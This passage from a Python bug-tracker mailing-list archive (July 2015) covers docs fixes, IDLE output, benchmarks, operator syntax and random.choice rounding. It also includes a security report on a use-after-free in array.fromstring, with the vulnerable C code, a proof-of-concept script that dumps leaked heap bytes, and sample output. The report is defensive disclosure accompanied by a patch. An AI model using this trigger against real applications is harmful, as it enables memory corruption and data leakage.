<1436446812.02.0.787958220284.issue24595@psf.upfronthosting.co.za> Message-ID: <1436602585.6.0.406585637542.issue24595@psf.upfronthosting.co.za> Terry J. Reedy added the comment: To me, this cries out for a public context manager ( believe there is a public one in test.support, or something), so one can write with stdout(ob): print(stuff) I am not sure, though, where the C.M.s should live. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 12:46:49 2015 From: report at bugs.python.org (Chris Angelico) Date: Sat, 11 Jul 2015 10:46:49 +0000 Subject: [issue24610] Incorrect example Unicode string in docs footnote Message-ID: <1436611609.77.0.659224194833.issue24610@psf.upfronthosting.co.za> New submission from Chris Angelico: https://docs.python.org/3/reference/expressions.html#id18 The string "\u0327\u0043" does not normalize to the same string as "\u00C7", as combining characters are supposed to _follow_ the base character. (Some consoles may happen to display them the same way, but prepend another letter to the string and it's clear that the combining cedilla is attached to that and not to the C.) Switching the two escape sequences makes the example work. Patch attached. ---------- assignee: docs at python components: Documentation files: cedilla_docs.patch keywords: patch messages: 246599 nosy: Rosuav, docs at python priority: normal severity: normal status: open title: Incorrect example Unicode string in docs footnote versions: Python 3.6 Added file: http://bugs.python.org/file39894/cedilla_docs.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 12:48:58 2015 From: report at bugs.python.org (Chris Angelico) Date: Sat, 11 Jul 2015 10:48:58 +0000 Subject: [issue24610] Incorrect example Unicode string in docs footnote In-Reply-To: <1436611609.77.0.659224194833.issue24610@psf.upfronthosting.co.za> Message-ID: <1436611738.82.0.34027538329.issue24610@psf.upfronthosting.co.za> Chris Angelico added the comment: Interestingly, the 2.7 docs have this correct already. https://docs.python.org/2.7/reference/expressions.html#id23 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 13:26:04 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 11 Jul 2015 11:26:04 +0000 Subject: [issue24610] Incorrect example Unicode string in docs footnote In-Reply-To: <1436611609.77.0.659224194833.issue24610@psf.upfronthosting.co.za> Message-ID: <1436613964.8.0.201573826442.issue24610@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: LGTM. The 2.x docs were fixed in c9bf6e70308e, but this change was lost during merging to 3.x in 3d866579117d. ---------- components: +Unicode nosy: +ezio.melotti, haypo, serhiy.storchaka stage: -> commit review versions: +Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 14:29:21 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 11 Jul 2015 12:29:21 +0000 Subject: [issue23220] IDLE does not display \b backspace correctly. In-Reply-To: <1420937687.17.0.885670059147.issue23220@psf.upfronthosting.co.za> Message-ID: <1436617761.62.0.257073383287.issue23220@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Control characters are named control characters because they are control the output device. Different devices have different capabilities and reacts different on the same codes. Windows console, different sorts of Linux terminals and Tk text widget are different devices. Some prints funny characters, others not, some beeps, others not, some interprets particular flavor of ESC sequences, others not, some allows color and positioning, others not. Python can't unify the behavior of these devices without lost most of functionality as it can't unify the behavior of black-white matrix printer, graphical plotter and 24-bit color LCD monitor. I would close this issue as not related to Python. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 14:53:44 2015 From: report at bugs.python.org (Julian Taylor) Date: Sat, 11 Jul 2015 12:53:44 +0000 Subject: [issue23601] use small object allocator for dict key storage In-Reply-To: <1425727481.08.0.141675339822.issue23601@psf.upfronthosting.co.za> Message-ID: <1436619224.4.0.197438299747.issue23601@psf.upfronthosting.co.za> Julian Taylor added the comment: ok I ran it again, but note the machine was under use the full time so the results are likely have no meaning. python perf.py -r -b default /tmp/normal/bin/python3 /tmp/opt/bin/python3 Min: 0.399279 -> 0.376527: 1.06x faster Avg: 0.410819 -> 0.383315: 1.07x faster Significant (t=49.29) Stddev: 0.00450 -> 0.00330: 1.3631x smaller ### etree_iterparse ### Min: 0.639638 -> 0.630989: 1.01x faster Avg: 0.658744 -> 0.641842: 1.03x faster Significant (t=14.82) Stddev: 0.00959 -> 0.00617: 1.5557x smaller ### etree_parse ### Min: 0.433050 -> 0.377830: 1.15x faster Avg: 0.444014 -> 0.389695: 1.14x faster Significant (t=43.28) Stddev: 0.01010 -> 0.00745: 1.3570x smaller ### tornado_http ### Min: 0.335834 -> 0.326492: 1.03x faster Avg: 0.346100 -> 0.334186: 1.04x faster Significant (t=13.66) Stddev: 0.01024 -> 0.00689: 1.4864x smaller The following not significant results are hidden, use -v to show them: 2to3, django_v2, etree_process, fastpickle, fastunpickle, json_dump_v2, json_load, nbody, regex_v8. /tmp$ /tmp/normal/bin/python3 -c 'import timeit; print(timeit.repeat("dict(a=5, b=2)"))' [0.5112445619997743, 0.5141109460000735, 0.5185121280010208] /tmp$ /tmp/opt/bin/python3 -c 'import timeit; print(timeit.repeat("dict(a=5, b=2)"))' [0.4426167189994885, 0.4465744609988178, 0.4467797579982289] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 15:33:07 2015 From: report at bugs.python.org (Ron Barak) Date: Sat, 11 Jul 2015 13:33:07 +0000 Subject: [issue24611] Compiling Python 2.7.10 Error on Unixware 7.1.4 Message-ID: <1436621587.24.0.649871663437.issue24611@psf.upfronthosting.co.za> New submission from Ron Barak: I wanted to add Python 2.7 to Unix. I downloaded the sources to the VirtualBox on which the Unix is installed and run ./configure --prefix=/usr \ --enable-shared \ --with-system-expat \ without problems. However, when I try to run make, it fails on: cc ?Kpthread ?Wl,-Bexport ?o python Modules/python.o libpython2.7.a -lsocket ?lnsl ?lpthread ?ldl ?lm Undefined first referenced symbol in file _PyInt_FromDev libpython2.7.a(posixmodule.o) UX:ld: ERROR: Symbol referencing errors. No output written to python *** Error code 1 (bu21) UX:make: ERROR: fatal error. Environment: OS Unixware 7.1.4 Python 2.7.10 CC Optimizing C Compilation System (CCS) 4.2 05/11/04 (ux714.bl3af) ---------- components: Build messages: 246604 nosy: ronbarak priority: normal severity: normal status: open title: Compiling Python 2.7.10 Error on Unixware 7.1.4 type: compile error versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 15:52:39 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 11 Jul 2015 13:52:39 +0000 Subject: [issue24611] Compiling Python 2.7.10 Error on Unixware 7.1.4 In-Reply-To: <1436621587.24.0.649871663437.issue24611@psf.upfronthosting.co.za> Message-ID: <1436622759.55.0.449764165703.issue24611@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- assignee: -> serhiy.storchaka nosy: +serhiy.storchaka stage: -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 16:38:40 2015 From: report at bugs.python.org (R. David Murray) Date: Sat, 11 Jul 2015 14:38:40 +0000 Subject: [issue24611] Compiling Python 2.7.10 Error on Unixware 7.1.4 In-Reply-To: <1436621587.24.0.649871663437.issue24611@psf.upfronthosting.co.za> Message-ID: <1436625520.89.0.620803012819.issue24611@psf.upfronthosting.co.za> R. David Murray added the comment: unixware is not a platform we support (we don't have a buildbot for it). If you can figure out how to fix this and it isn't disruptive to the codebase, you can submit a patch. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 17:23:53 2015 From: report at bugs.python.org (candide) Date: Sat, 11 Jul 2015 15:23:53 +0000 Subject: [issue24612] not operator expression raising a syntax error Message-ID: <1436628233.38.0.197597566636.issue24612@psf.upfronthosting.co.za> New submission from candide: Expressions such as a + not b a * not b + not b - not b raise a SyntaxError, for instance : >>> 0 + not 0 File "", line 1 0 + not 0 ^ SyntaxError: invalid syntax >>> - not 0 File "", line 1 - not 0 ^ SyntaxError: invalid syntax >>> if the not expression is wrapped in parenthesis, expected evaluation occurs: >>> - not 0 File "", line 1 - not 0 ^ SyntaxError: invalid syntax >>> 0 + (not 0) 1 >>> - (not 0) -1 >>> The problem has been first submitted in comp.lang.python : https://groups.google.com/forum/?hl=fr#!topic/comp.lang.python/iZiBs3tcuak suggesting a bug report. ---------- components: Interpreter Core messages: 246606 nosy: candide, serhiy.storchaka priority: normal severity: normal status: open title: not operator expression raising a syntax error type: behavior versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 18:18:41 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 11 Jul 2015 16:18:41 +0000 Subject: [issue24612] not operator expression raising a syntax error In-Reply-To: <1436628233.38.0.197597566636.issue24612@psf.upfronthosting.co.za> Message-ID: <1436631521.04.0.254350646046.issue24612@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: "not not 0" is compiled successful, while "+ not 0", "- not 0", and "~ not 0" are rejected. ---------- nosy: +benjamin.peterson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 18:23:08 2015 From: report at bugs.python.org (Steven D'Aprano) Date: Sat, 11 Jul 2015 16:23:08 +0000 Subject: [issue24612] not operator expression raising a syntax error In-Reply-To: <1436628233.38.0.197597566636.issue24612@psf.upfronthosting.co.za> Message-ID: <20150711162303.GH27268@ando.pearwood.info> Steven D'Aprano added the comment: On Sat, Jul 11, 2015 at 03:23:53PM +0000, candide wrote: > > New submission from candide: > > Expressions such as > > a + not b > a * not b > + not b > - not b > > raise a SyntaxError, for instance : > > > >>> 0 + not 0 > File "", line 1 > 0 + not 0 > ^ > SyntaxError: invalid syntax That has been invalid syntax since Python 1.5, if not older. I don't think that it needs to be changed. [steve at ando ~]$ python1.5 Python 1.5.2 (#1, Aug 27 2012, 09:09:18) [GCC 4.1.2 20080704 (Red Hat 4.1.2-52)] on linux2 Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam >>> 0 + not 0 File "", line 1 0 + not 0 ^ SyntaxError: invalid syntax ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 18:42:11 2015 From: report at bugs.python.org (Eugene K.) Date: Sat, 11 Jul 2015 16:42:11 +0000 Subject: [issue24587] Incorrect tkinter behavior of slave widgets of Button In-Reply-To: <1436320780.82.0.239534130411.issue24587@psf.upfronthosting.co.za> Message-ID: <1436632931.88.0.564198717953.issue24587@psf.upfronthosting.co.za> Eugene K. added the comment: File attached ---------- Added file: http://bugs.python.org/file39895/bug.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 20:22:46 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 11 Jul 2015 18:22:46 +0000 Subject: [issue24611] Compiling Python 2.7.10 Error on Unixware 7.1.4 In-Reply-To: <1436621587.24.0.649871663437.issue24611@psf.upfronthosting.co.za> Message-ID: <1436638966.37.0.522833859864.issue24611@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I think this simple patch should fix the issue. ---------- keywords: +patch stage: needs patch -> patch review Added file: http://bugs.python.org/file39896/issue24611.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 20:43:39 2015 From: report at bugs.python.org (Stefan Behnel) Date: Sat, 11 Jul 2015 18:43:39 +0000 Subject: [issue24612] not operator expression raising a syntax error In-Reply-To: <1436628233.38.0.197597566636.issue24612@psf.upfronthosting.co.za> Message-ID: <1436640219.63.0.362282223132.issue24612@psf.upfronthosting.co.za> Stefan Behnel added the comment: It looks like perfectly valid syntax to me and I cannot see why it should be semantically rejected. I disagree that it shouldn't be changed. I think it's a (minor) bug that should eventually get fixed. ---------- nosy: +scoder _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 20:52:29 2015 From: report at bugs.python.org (Petr Viktorin) Date: Sat, 11 Jul 2015 18:52:29 +0000 Subject: [issue19713] Deprecate various things in importlib thanks to PEP 451 In-Reply-To: <1385139007.0.0.922066136531.issue19713@psf.upfronthosting.co.za> Message-ID: <1436640749.63.0.344975606399.issue19713@psf.upfronthosting.co.za> Changes by Petr Viktorin : ---------- nosy: +encukou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 21:07:25 2015 From: report at bugs.python.org (Matthew Barnett) Date: Sat, 11 Jul 2015 19:07:25 +0000 Subject: [issue24612] not operator expression raising a syntax error In-Reply-To: <1436628233.38.0.197597566636.issue24612@psf.upfronthosting.co.za> Message-ID: <1436641645.58.0.121840542363.issue24612@psf.upfronthosting.co.za> Matthew Barnett added the comment: "not" has a lower priority than unary "-"; this: not a < b is parsed as: not (a < b) How would you parse: 0 + not 0 + 0 ? Would it be parsed as: 0 + not (0 + 0) ? Similar remarks could apply to "yield": 0 + yield 0 which is also a syntax error. ---------- nosy: +mrabarnett _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 21:13:59 2015 From: report at bugs.python.org (Stefan Behnel) Date: Sat, 11 Jul 2015 19:13:59 +0000 Subject: [issue24612] not operator expression raising a syntax error In-Reply-To: <1436628233.38.0.197597566636.issue24612@psf.upfronthosting.co.za> Message-ID: <1436642039.27.0.314773918972.issue24612@psf.upfronthosting.co.za> Stefan Behnel added the comment: Hmm, right. I see your point and also the analogy with "yield". I could live with (maybe) giving it a better error message suggesting to use parentheses for clarity and otherwise keeping it a SyntaxError. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 23:35:05 2015 From: report at bugs.python.org (Martin Panter) Date: Sat, 11 Jul 2015 21:35:05 +0000 Subject: [issue24612] not operator expression raising a syntax error In-Reply-To: <1436628233.38.0.197597566636.issue24612@psf.upfronthosting.co.za> Message-ID: <1436650505.72.0.992369690964.issue24612@psf.upfronthosting.co.za> Changes by Martin Panter : ---------- nosy: +vadmium _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 23:35:39 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 11 Jul 2015 21:35:39 +0000 Subject: [issue23220] Documents input/output effects of how IDLE runs user code In-Reply-To: <1420937687.17.0.885670059147.issue23220@psf.upfronthosting.co.za> Message-ID: <1436650539.74.0.421319733797.issue23220@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Serhiy, thanks for the paraphrase of what I tried to say. This issue has already been changed to a doc issue to explain the input/output effects of Idle's way of running user code. I should have retitled before. Control codes are just one of the effects that have come up on the tracker, python-list, or stackoverflow. Misunderstanding had lead to user puzzlement and even undeserved insults directed as Python. I propose to something like the following to the introductory section of the Idle doc, https://docs.python.org/3/library/idle.html#index-0, after the feature list. --- When Idle runs user code from either the shell or an editor window, the result is nearly always be the same as running the same code directly with python in either interactive or batch mode. However, environmental differences can have visible effects. For instance, Idle import statements add numerous entries to sys.modules and a few module attributes to modules such as tkinter. The line `1import tkinter; tkinter.colorchooser`` normally raises AttributeError but works when run with Idle because Idle has already imported tkinter.colorchooser. To detect whether code is running under Idle, run ``import idlelib; idlelib.run`` within a try-except statement. More important are the input/output differences. Python normally runs in a text console process with direct access to keyboard and screen. For code run with Idle, the keyboard and screen are controlled by the tk graphics subsystem and sys.stdin, sys.stdout, and sys.stderr are bound to objects that connect to the gui. (Note that ``print`` calls ``sys.stdout.write``.) Here are some of the effects of keyboard and screen access being indirect. * Operating system (OS) specific functions that directly access the keyboard may not work. * The Idle shell works with complete statements rather than individual lines of code. One can edit and retrieve complete multiline statements instead of single lines. * User code gets colorized. Normal output and error output to the shell get their own colors. * Tk supports the Basic Multilingual Plane (BMP) subset of Unicode characters. This is worse than consoles that support supplementary planes (with appropriate fonts in use), but better than the Windows console, which only supports restricted subsets of the BMP, depending on the code page in use. * Tk handling of ascii control chars depends on the OS and is usually different from the text console. --- ---------- title: IDLE does not display \b backspace correctly. -> Documents input/output effects of how IDLE runs user code _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 11 23:57:23 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 11 Jul 2015 21:57:23 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436651843.55.0.660708293794.issue24567@psf.upfronthosting.co.za> Raymond Hettinger added the comment: [Antoine] > If that would give a different sequence of random numbers, > I'm not sure that's acceptable in a bugfix release. Raymond > can shed a light. You're right. It is not acceptable to give a different sequence of random numbers within a bugfix release. [Victor] > Ok, it looks like most people are in favor of min(). > Can anyone propose a patch? I will work up a patch, but I can't say that I feel good about making everyone pay a price for a problem that almost no one ever has. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 00:52:36 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 11 Jul 2015 22:52:36 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436655156.31.0.101222333143.issue24567@psf.upfronthosting.co.za> Raymond Hettinger added the comment: FWIW, here are some variants (with differing degrees of brevity, clarity, and performance): def choice(self, seq): """Choose a random element from a non-empty sequence.""" n = len(seq) i = int(self.random() * n) if i == n: i = n - 1 return seq[i] def choice(self, seq): """Choose a random element from a non-empty sequence.""" try: return seq[int(self.random() * len(seq))] except IndexError: return seq[-1] def choice(self, seq): """Choose a random element from a non-empty sequence.""" n = len(seq) return seq[min(int(self.random() * n), n-1)] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 00:52:51 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 11 Jul 2015 22:52:51 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436655171.57.0.351873994791.issue24567@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: -> rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 01:33:58 2015 From: report at bugs.python.org (Roundup Robot) Date: Sat, 11 Jul 2015 23:33:58 +0000 Subject: [issue24610] Incorrect example Unicode string in docs footnote In-Reply-To: <1436611609.77.0.659224194833.issue24610@psf.upfronthosting.co.za> Message-ID: <20150711233356.14247.15193@psf.io> Roundup Robot added the comment: New changeset 1cae77f873af by Benjamin Peterson in branch '3.4': fix normalization example (closes #24610) https://hg.python.org/cpython/rev/1cae77f873af New changeset 0127b0cad5ec by Benjamin Peterson in branch '3.5': merge 3.4 (#24610) https://hg.python.org/cpython/rev/0127b0cad5ec New changeset 02b81a82a57d by Benjamin Peterson in branch 'default': merge 3.5 (#24610) https://hg.python.org/cpython/rev/02b81a82a57d ---------- nosy: +python-dev resolution: -> fixed stage: commit review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 01:45:05 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 11 Jul 2015 23:45:05 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436658305.96.0.471655071685.issue24567@psf.upfronthosting.co.za> Changes by Raymond Hettinger : Added file: http://bugs.python.org/file39897/choice_timings.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 01:51:00 2015 From: report at bugs.python.org (Joe Jevnik) Date: Sat, 11 Jul 2015 23:51:00 +0000 Subject: [issue24379] operator.subscript In-Reply-To: <1433398024.28.0.0919512106527.issue24379@psf.upfronthosting.co.za> Message-ID: <1436658660.83.0.309936013384.issue24379@psf.upfronthosting.co.za> Joe Jevnik added the comment: ping: is there anything blocking this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 01:55:57 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 11 Jul 2015 23:55:57 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436658957.94.0.998245845241.issue24567@psf.upfronthosting.co.za> Changes by Raymond Hettinger : Added file: http://bugs.python.org/file39898/shuffle_timings.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 02:11:54 2015 From: report at bugs.python.org (Martin Panter) Date: Sun, 12 Jul 2015 00:11:54 +0000 Subject: [issue24612] not operator expression raising a syntax error In-Reply-To: <1436628233.38.0.197597566636.issue24612@psf.upfronthosting.co.za> Message-ID: <1436659914.58.0.529536947591.issue24612@psf.upfronthosting.co.za> Martin Panter added the comment: Funny, I ran into this one or two days ago, when refactoring some code that used the bitwise exclusive-or operator, since there is no boolean exclusive or: -if (x == a) ^ (y != b): ... +aa = x == a +bb = y == b +if aa ^ not bb: ... It is fairly clear what I wanted to do above, but with ?is not? you would have to avoid ambiguity: >>> "spam" is not "ham" # Using ?is not? operator True >>> "spam" is (not "ham") # Two distinct operators False I think it would be too complicated to make unary ?not? bind more tightly than ?and? in some cases but not in others. How would you handle these cases? a + not b and c a ** not b ** c a is not not b The way I see it, there is no equivalent problem with the other unary operators: arithmetic (+, -), bitwise (~), and ?await?. Await has higher priority than all other binary operators, so no problem there. The other three are equal with the highest priority binary operator, exponentiation (**): >>> 2 ** -1 ** 2 # Evaluated right to left 0.5 >>> 2 ** (-1) ** 2 # Negation first 2 >>> (2 ** -1) ** 2 # Left-hand exponentiation first 0.25 BTW, in the operator precedence table , I think exponentiation should be in the same priority group as the arithmetic and bitwise unary operations. At the moment it says exponentiation has higher priority, but has a footnote saying this is reversed on the right-hand side of an exponentiation. This is unclear when applied to my example above. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 02:23:44 2015 From: report at bugs.python.org (Martin Panter) Date: Sun, 12 Jul 2015 00:23:44 +0000 Subject: [issue24612] not operator expression raising a syntax error In-Reply-To: <1436628233.38.0.197597566636.issue24612@psf.upfronthosting.co.za> Message-ID: <1436660624.47.0.91784003898.issue24612@psf.upfronthosting.co.za> Martin Panter added the comment: BTW ?yield? is not a fair comparison because its syntax is even stranger (due to originally being a ?yield? statement): def g(): x = yield + 1 # Yield the value +1 y = (yield) + 1 # Add 1 after yielding return (yield) # Mandatory brackets ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 02:32:50 2015 From: report at bugs.python.org (John Leitch) Date: Sun, 12 Jul 2015 00:32:50 +0000 Subject: [issue24613] array.fromstring Use After Free Message-ID: <1436661170.45.0.692345093126.issue24613@psf.upfronthosting.co.za> New submission from John Leitch: The Python array.fromstring() method suffers from a use after free caused by unsafe realloc use. The issue is triggered when an array is concatenated to itself via fromstring() call: static PyObject * array_fromstring(arrayobject *self, PyObject *args) { char *str; Py_ssize_t n; int itemsize = self->ob_descr->itemsize; if (!PyArg_ParseTuple(args, "s#:fromstring", &str, &n)) <<<< The str buffer is parsed from args. In cases where an array is passed to itself, self->ob_item == str. return NULL; if (n % itemsize != 0) { PyErr_SetString(PyExc_ValueError, "string length not a multiple of item size"); return NULL; } n = n / itemsize; if (n > 0) { char *item = self->ob_item; <<<< If str == self->ob_item, item == str. if ((n > PY_SSIZE_T_MAX - Py_SIZE(self)) || ((Py_SIZE(self) + n) > PY_SSIZE_T_MAX / itemsize)) { return PyErr_NoMemory(); } PyMem_RESIZE(item, char, (Py_SIZE(self) + n) * itemsize); <<<< A realloc call occurs here with item passed as the ptr argument. Because realloc sometimes calls free(), this means that item may be freed. If item was equal to str, str is now pointing to freed memory. if (item == NULL) { PyErr_NoMemory(); return NULL; } self->ob_item = item; Py_SIZE(self) += n; self->allocated = Py_SIZE(self); memcpy(item + (Py_SIZE(self) - n) * itemsize, str, itemsize*n); <<<< If str is dangling at this point, a use after free occurs here. } Py_INCREF(Py_None); return Py_None; } In most cases when this occurs, the function behaves as expected; while the dangling str pointer is technically pointing to deallocated memory, given the timing it is highly likely the memory contains the expected data. However, ocassionally, an errant allocation will occur between the realloc and memcpy, leading to unexpected contents in the str buffer. In applications that expose otherwise innocuous indirect object control of arrays as attack surface, it may be possible for an attacker to trigger the corruption of arrays. This could potentially be exploited to exfiltrate data or achieve privilege escalation, depending on subsequent operations performed using corrupted arrays. A proof-of-concept follows: import array import sys import random testNumber = 0 def dump(value): global testNumber i = 0 for x in value: y = ord(x) if (y != 0x41): end = ''.join(value[i:]).index('A' * 0x10) sys.stdout.write("%08x a[%08x]: " % (testNumber, i)) for z in value[i:i+end]: sys.stdout.write(hex(ord(z))[2:]) sys.stdout.write('\r\n') break i += 1 def copyArray(): global testNumber while True: a=array.array("c",'A'*random.randint(0x0, 0x10000)) a.fromstring(a) dump(a) testNumber += 1 print "Starting..." copyArray() The script repeatedly creates randomly sized arrays filled with 0x41, then calls fromstring() and checks the array for corruption. If any is found, the relevant bytes are written to the console as hex. The output should look something like this: Starting... 00000007 a[00000cdc]: c8684d0b0f54c0 0000001d a[0000f84d]: b03f4f0b8be620 00000027 a[0000119f]: 50724d0b0f54c0 0000004c a[00000e53]: b86b4d0b0f54c0 0000005a a[000001e1]: d8ab4609040620 00000090 a[0000015b]: 9040620104e5f0 0000014d a[000002d6]: 10ec620d8ab460 00000153 a[000000f7]: 9040620104e5f0 0000023c a[00000186]: 50d34c0f8b65a0 00000279 a[000001c3]: d8ab4609040620 000002ee a[00000133]: 9040620104e5f0 000002ff a[00000154]: 9040620104e5f0 0000030f a[00000278]: 10ec620d8ab460 00000368 a[00000181]: 50d34c0f8b65a0 000003b2 a[0000005a]: d0de5f0d05e5f0 000003b5 a[0000021c]: b854d00d3620 00000431 a[000001d8]: d8ab4609040620 0000044b a[000002db]: 10ec620d8ab460 00000461 a[000000de]: 9040620104e5f0 000004fb a[0000232f]: 10f74d0c0ce620 00000510 a[0000014a]: 9040620104e5f0 In some applications, such as those that are web-based, similar circumstances may manifest that would allow for remote exploitation. To fix the issue, array_fromstring should check if self->ob_item is pointing to the same memory as str, and handle the copy accordingly. A proposed patch is attached. ---------- files: array.fromstring-Use-After-Free.py messages: 246621 nosy: JohnLeitch priority: normal severity: normal status: open title: array.fromstring Use After Free type: security versions: Python 2.7 Added file: http://bugs.python.org/file39899/array.fromstring-Use-After-Free.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 02:33:14 2015 From: report at bugs.python.org (John Leitch) Date: Sun, 12 Jul 2015 00:33:14 +0000 Subject: [issue24613] array.fromstring Use After Free In-Reply-To: <1436661170.45.0.692345093126.issue24613@psf.upfronthosting.co.za> Message-ID: <1436661194.79.0.599975493188.issue24613@psf.upfronthosting.co.za> John Leitch added the comment: Attaching patch. ---------- keywords: +patch Added file: http://bugs.python.org/file39900/arraymodule.c.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 02:58:04 2015 From: report at bugs.python.org (Tim Peters) Date: Sun, 12 Jul 2015 00:58:04 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436662684.63.0.346728656346.issue24567@psf.upfronthosting.co.za> Tim Peters added the comment: [Raymond] > I can't say that I feel good about making everyone pay > a price for a problem that almost no one ever has. As far as I know, nobody has ever had the problem. But if we know a bug exists, I think it's at best highly dubious to wait for a poor user to get bitten by it. Our bugs aren't their fault, and we have no idea in advance how much our bugs may cost them. Note that there's no need to change anything on boxes without double-rounding, and those appear to be the majority of platforms now, and "should" eventually become all platforms as people migrate to 64-bit platforms. So, e.g., if double_rounding_happens_on_this_box: def choice(...): # fiddled code else: def choice(...): # current code just indented a level Then most platforms pay nothing beyond a single import-time test. Note that there's already code to detect double-rounding in test_math.py, but in that context not to _fix_ a problem but to ignore fsum() tests that fail in its presence. And just to be annoying ;-) , here's another timing variation: i = int(random() * n) return seq[i - (i == n)] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 03:31:34 2015 From: report at bugs.python.org (Martin Panter) Date: Sun, 12 Jul 2015 01:31:34 +0000 Subject: [issue24379] operator.subscript In-Reply-To: <1433398024.28.0.0919512106527.issue24379@psf.upfronthosting.co.za> Message-ID: <1436664694.89.0.722975619828.issue24379@psf.upfronthosting.co.za> Martin Panter added the comment: Joe: Have you seen the comments on the code review? See the Review link at the top of the bug thread, or maybe check your spam. ---------- nosy: +vadmium stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 03:55:38 2015 From: report at bugs.python.org (Joe Jevnik) Date: Sun, 12 Jul 2015 01:55:38 +0000 Subject: [issue24379] operator.subscript In-Reply-To: <1433398024.28.0.0919512106527.issue24379@psf.upfronthosting.co.za> Message-ID: <1436666138.8.0.943346646799.issue24379@psf.upfronthosting.co.za> Joe Jevnik added the comment: Ah, I hadn't seen that, I will address those now, sorry about that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 04:41:16 2015 From: report at bugs.python.org (Martin Panter) Date: Sun, 12 Jul 2015 02:41:16 +0000 Subject: [issue23220] Documents input/output effects of how IDLE runs user code In-Reply-To: <1420937687.17.0.885670059147.issue23220@psf.upfronthosting.co.za> Message-ID: <1436668876.77.0.636820192212.issue23220@psf.upfronthosting.co.za> Martin Panter added the comment: ?run ``import idlelib; idlelib.run`` within a try-except statement?: It might be nice to say what exceptions are expected. My guess is ImportError if Idle or TK is not available, or AttributeError if it is but Idle is not running. ?Tk handling of ascii control chars?: I presume you mean stdout and stderr handling, which this bug was originally about (or also input, source code, etc as well?). It might be good to say that output of Unix newlines (\n) is guaranteed to be supported. Also might be worth explicitly pointing out that output of CRLFs is not supported, even if os.linesep is "\r\n". In my experiments between Linux and Wine, this does not appear to depend on the OS. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 05:02:21 2015 From: report at bugs.python.org 